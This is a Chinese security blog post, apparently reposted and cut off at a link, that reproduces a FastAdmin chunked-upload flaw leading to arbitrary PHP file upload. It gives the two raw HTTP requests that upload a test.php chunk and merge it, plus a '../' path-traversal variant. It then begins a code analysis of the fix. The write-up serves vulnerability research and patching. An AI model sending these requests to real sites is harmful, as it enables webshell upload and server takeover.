专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
数据派THU  ·  【ICLR2025】CUBEDIFF:将基于 ... ·  昨天  
数据派THU  ·  提升数据科学工作流效率的10个Jupyter ... ·  2 天前  
高工智能汽车  ·  连亏两年,经纬恒润“压力”不减 ·  昨天  
国家数据局  ·  2024年“数据要素×”大赛优秀项目案例集— ... ·  18 小时前  
大数据与机器学习文摘  ·  突发!o3-mini ... ·  3 天前  
51好读  ›  专栏  ›  TimelineSec

FastAdmin前台分片传输上传文件getshell复现

TimelineSec  · 公众号  ·  · 2021-04-17 10:00

正文


上方蓝色字体关注我们,一起学安全!
作者: Whippet @Timeline Sec
本文字数:1624
阅读时长:5~6min
声明:请勿用作违法用途,否则后果自负


0x01 简介


FastAdmin 是一款基于 ThinkPHP 5 + Bootstrap 的极速后台开发框架。致力于服务开发者,快速搭建自己属于自己的后台。


0x02 漏洞概述


2021年3月28日,360漏洞云漏洞研究员发现,FastAdmin框架存在有条件RCE漏洞,由于FastAdmin的前台文件上传功能中提供了分片传输功能, 但在合并分片文件时因对文件路径的拼接处理不当导致可上传任意文件。


0x03 影响版本


FastAdmin < V1.2.0.20210401_beta

且开启分片传输功能(默认关闭)


0x04 环境搭建


在官网上下载 fastadmin ,利用phpstudy搭建环境

https://package.fastadmin.net/full/1.2.0.20210125_full.zip


先开启分片上传功能,文件位置如下图



访问/public/install.php进行安装,填写数据无脑下一步即可



0x05 漏洞复现


漏洞需要一个低权限的账号

所以我们需要在前台注册一个普通用户



登陆后在个人资料头像处抓包并上传dog.jpg



更改上传数据包 (需要注意图中几处红框的内容)




POST /index/ajax/upload HTTP/1.1Host: test.testContent-Length: 418Accept: application/jsonCache-Control: no-cacheX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryurpjX18wIurjSyEpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=rn1k8an9su59qb7ghosafer4vg; think_var=zh-cn; uid=2; token=aad3aa1e-1c65-4ee4-989a-bb3a82a4dd4aConnection: close
------WebKitFormBoundaryurpjX18wIurjSyEpContent-Disposition: form-data; name="file"; filename="dog.jpg"Content-Type: application/octet-stream
------WebKitFormBoundaryurpjX18wIurjSyEpContent-Disposition: form-data; name="chunkid";
test.php------WebKitFormBoundaryurpjX18wIurjSyEpContent-Disposition: form-data; name="chunkindex";
0------WebKitFormBoundaryurpjX18wIurjSyEp--


上传成功之后,会在网站路径

C:\phpstudy_pro\WWW\fastadmin\runtime\chunks下生成一个test.php-0.part文件



发送数据包 (需要注意图中几处红框的内容)

返回包显示200则代表合并成功




POST /index/ajax/upload HTTP/1.1Host: tets.testContent-Length: 42Accept: application/jsonCache-Control: no-cacheX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=mm4ejed8h7hubqq1stmogrut20; think_var=zh-cn; uid=2; token=f5a57bef-2ad2-496a-a4bc-66974bcc4a08Connection: close
chunkid=test.php&chunkcount=1&action=merge


发包后访问

/fastadmin/runtime/chunks/test.php






(漏洞利用存在很大的局限性,首先是需要开启支持分片传输,我在调试的过程中发现,在指定 host 解析,设定网站的根目录为 /fastadmin/public 之后就无法访问  /fastadmin/runtime/chunks 下的文件,虽说如此,但是可以通过设定chunkid的值为 ../xxx.php 就可以实现跨目录的上传)


0x06 漏洞分析


根据漏洞 描述需要开启支持分片上传,所以我们修改

application/extra/upload.php中chunking为 true



同时最新版本已经修复存在的漏洞,修复位置为

application/common/library/Upload.php

复现漏洞时,应注释这个部分



根据上传时的路由信息

/index.php/index/ajax/upload

定位至代码位置

application/index/controller/Ajax.php



漏洞的触发共分为两个过程,上传分片与合并分片


首先关注上传分片的过程 传入参数 chunckid 才会到上传分片的位置


\app\api\controller\Common::upload



\app\common\library\Upload::chunk



在 chunk 方法中,首先对 Content-Type 进行了校验,必须为 application/octet-stream 将传入的参数 chunckid  与  chunckindex 通过 - 连接,最后拼接 .part 最后保存到 /runtime/chunks/







请到「今天看啥」查看全文